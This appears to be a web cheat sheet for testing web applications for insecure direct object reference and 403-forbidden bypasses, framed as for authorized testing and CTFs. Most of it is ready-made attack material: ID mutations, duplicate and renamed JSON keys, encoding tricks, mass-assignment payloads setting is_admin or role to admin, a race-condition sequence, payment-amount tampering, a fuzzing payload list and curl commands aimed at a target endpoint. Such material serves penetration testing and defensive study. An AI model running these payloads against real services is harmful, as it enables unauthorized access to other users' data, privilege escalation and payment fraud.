Loading...
Insecure Direct Object Reference and 403 Forbidden bypass techniques
This document is for authorized security testing and CTF use only. Do not use on systems you do not have permission to test.
Follow this methodology for effective IDOR and 403 bypass testing.
Record a baseline: HTTP status, content-length, and response body for a legitimate requestTest one mutation at a time and observe differencesUse Burp, replay tools, Intruder, or automation scripts to rapidly iterate permutationsTry simple changes to the ID field inside JSON, forms, or query string.
{"user":{"id":123}}{"user":{"id":"123"}}{"user":{"id":"0123"}}{"user":{"id": 123 }}{"user":{"id":9223372036854775807}}{"user":{"id":-123}}Send the same parameter in multiple places or duplicate keys inside JSON.
GET /endpoint?user[id]=123 (with JSON body user[id]=456){"user":{"id":123}, "user":{"id":456}}{"user":{"id":123}, "data":{"user":{"id":456}}}Try alternative field names that may map to the same backend field.
{"user":{"id":123}}{"user":{"user_id":123}}{"user":{"customer_id":123}}{"actor_id":123}{"owner":123}Change the Content-Type header and send the same structure in different formats.
curl -X POST -H "Content-Type: application/json" -d '{"user":{"id":123}}' https://target.com/endpointcurl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user[id]=123" https://target.com/endpointcurl -X POST -H "Content-Type: multipart/form-data" -d '{"user":{"id":123}}' https://target.com/endpointEncoding may make the value interpreted differently or bypass filters.
URL encode: /users/%31%32%33Double encode: %2531%2532%2533Base64 wrapper: {"id":"MTIz"}Percent-encoded inside JSON: {"id":"%31%32%33"}Insert zero-width characters or lookalike digits to confuse string checks.
{"user":{"id":"123"}} # zero-width space{"user":{"id":"١٢٣"}}{"user":{"id":"١23"}}Try large integers, negatives, and scientific notation.
{"user":{"id":9223372036854775807}}{"user":{"id":-1}}{"user":{"id":4.03e2}}{"user":{"id":"403"}}Send conflicting IDs in the URL path and request body.
GET /users/123 (body: {"user":{"id":456}})POST /orders/999 (body: {"order":{"id":1000}})Target ORM binding by sending additional properties or nested objects.
{"user":{"id":123, "is_admin":true}}{"user":{"id":123, "profile":{"owner_id":456}}}{"user":{"id":123, "attributes":{"role":"admin"}}}Change inner references inside arrays or nested objects.
{"id":123, "references":[{"id":456}]}-> {"id":123, "references":[{"id":789}]}If the endpoint accepts JSON queries, try varying IDs within the query field.
{ "query": "{ user(id:123) { name } }" }{ "query": "{ user(id:456) { name } }" }{ "query": "mutation { updateUser(id:123, isAdmin:true) { id } }" }Send concurrent requests to exploit Time-of-Check-Time-of-Use vulnerabilities.
1. POST to change resourceA ownership2. Immediately GET resourceA using manipulated IDSend empty JSON or omit fields to test validators and error handling.
{}{"user":{}}{"id":null}Insert spaces, newlines, or padding inside values.
{"id":"123 "}{"id":" 123 "}{"id":"123\n"}Test email subaddressing for bypass or routing manipulation.
user+tag@example.comuser%2Btag@example.comUse localhost, IP variations, or domain mutations to test hostname validation.
localhost127.0.0.1.example.com0x7f000001Amount manipulation techniques for payment bypass.
{"amount":403}{"amount":"403"}{"amount":4.03e2}{"amount":-403}{"amount":40300, "currency":"cents"}{"amount":403, "productId":456}Copy these payloads for Burp Intruder or wfuzz testing.
123"123"01239223372036854775807-14.03e2MTIz%31%32%33%2531%2532%2533{"id":123}{"user":{"id":123}}user[id]=123{"user":{"id":123}, "user":{"id":456}}{"user":{"user_id":123}}{"user":{"id":123, "is_admin":true}}Ready-to-use curl commands for testing.
curl -X POST -H "Content-Type: application/json" -d '{"user":{"id":123}}' https://target.com/endpointcurl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user[id]=123" https://target.com/endpointcurl -X POST 'https://target.com/endpoint?user[id]=123' -H 'Content-Type: application/json' -d '{"user":{"id":456}}'curl -X POST -H 'Content-Type: application/json' -d '$'{"user":{"id":"123"}}' https://target.com/endpointFollow this skeptical approach for comprehensive testing.
Capture baseline (status, length, body)Change one variable at a timeCompare diffs using diff, jq -C, or automated toolsTry combined permutationsKeep detailed logs of every attemptFor educational and authorized testing purposes only.